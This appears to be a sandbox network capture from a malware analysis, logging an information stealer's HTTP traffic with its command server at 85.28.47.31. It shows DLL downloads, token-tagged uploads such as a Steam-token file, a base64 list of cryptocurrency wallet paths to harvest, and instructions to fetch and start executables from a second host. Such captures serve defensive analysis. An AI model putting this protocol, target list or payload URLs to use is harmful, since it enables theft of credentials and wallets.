35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFIIIIJKFCAAECAKFIEHContent-Disposition: form-data; name="file"------AFIIIIJKFCAAECAKFIEH--
Jul 27, 2024 09:25:03.917702913 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:25:04.408190966 CEST	90	OUT	GET /8405906461a5200c/freebl3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 09:25:04.591566086 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jul 27, 2024 09:25:05.268531084 CEST	90	OUT	GET /8405906461a5200c/mozglue.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 09:25:05.451590061 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jul 27, 2024 09:25:05.949610949 CEST	91	OUT	GET /8405906461a5200c/msvcp140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 09:25:06.131995916 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jul 27, 2024 09:25:06.457285881 CEST	87	OUT	GET /8405906461a5200c/nss3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 09:25:06.641015053 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jul 27, 2024 09:25:08.140419006 CEST	91	OUT	GET /8405906461a5200c/softokn3.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 09:25:08.324465036 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 27, 2024 09:25:08.727665901 CEST	95	OUT	GET /8405906461a5200c/vcruntime140.dll HTTP/1.1 Host: 85.28.47.31 Cache-Control: no-cache
Jul 27, 2024 09:25:08.915312052 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 27, 2024 09:25:09.301856995 CEST	199	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJEBKECBAKFBGDGCBGD Host: 85.28.47.31 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 09:25:10.158490896 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:25:10.206331015 CEST	465	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKKFBFIDGDBFHJJEHI Host: 85.28.47.31 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 4a 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 4a 4a 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4b 46 42 46 49 44 47 44 42 46 48 4a 4a 45 48 49 2d 2d 0d 0a Data Ascii: ------CAKKKFBFIDGDBFHJJEHIContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------CAKKKFBFIDGDBFHJJEHIContent-Disposition: form-data; name="message"wallets------CAKKKFBFIDGDBFHJJEHI--
Jul 27, 2024 09:25:10.393182993 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 27, 2024 09:25:10.396074057 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFB Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="message"ybncbhylepme------FHJDBKJKFIECAAAKFBFB--
Jul 27, 2024 09:25:10.613454103 CEST	363	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 136 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4d 6e 78 6f 64 48 52 77 4f 69 38 76 4d 54 67 31 4c 6a 49 78 4e 53 34 78 4d 54 4d 75 4d 54 59 76 63 32 39 72 59 53 39 79 59 57 35 6b 62 32 30 75 5a 58 68 6c 66 44 42 38 4d 48 78 54 64 47 46 79 64 48 77 30 66 41 3d 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8MnxodHRwOi8vMTg1LjIxNS4xMTMuMTYvc29rYS9yYW5kb20uZXhlfDB8MHxTdGFydHw0fA==
Jul 27, 2024 09:25:15.114819050 CEST	561	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDHJKFBGIIJJKFIJDBG Host: 85.28.47.31 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 4b 46 42 47 49 49 4a 4a 4b 46 49 4a 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IIDHJKFBGIIJJKFIJDBGContent-Disposition: form-data; name="file"------IIDHJKFBGIIJJKFIJDBG--
Jul 27, 2024 09:25:15.740319967 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:25:15.764755011 CEST	463	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 85.28.47.31 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"8f4d1a4afaa56cd8af3a688251d18962291c3a4fc7f33aa41553a153938b18341214583c------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="message"files------DHIDHIEGIIIECAKEBFBA--
Jul 27, 2024 09:25:15.949250937 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:25:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:25:15.984442949 CEST	470	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBGCBAFCGDAAKFIDGIE Host: 85.28.47.31 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 46 43 47 44 41 41 4b 46 49 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 34 64 31 61 34 61 66 61 61 35 36 63 64 38 61 66 33 61 36 38 38 32 35 31 64 31 38 39 36 32 32 39 31 63 33 61 34 66 63 37 66 33 33 61 61 34 31 35 35 33 61 31 35 33 39 33 38 62 31 38 33 34 31 32 31 34 35 38 33 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 43 42 41 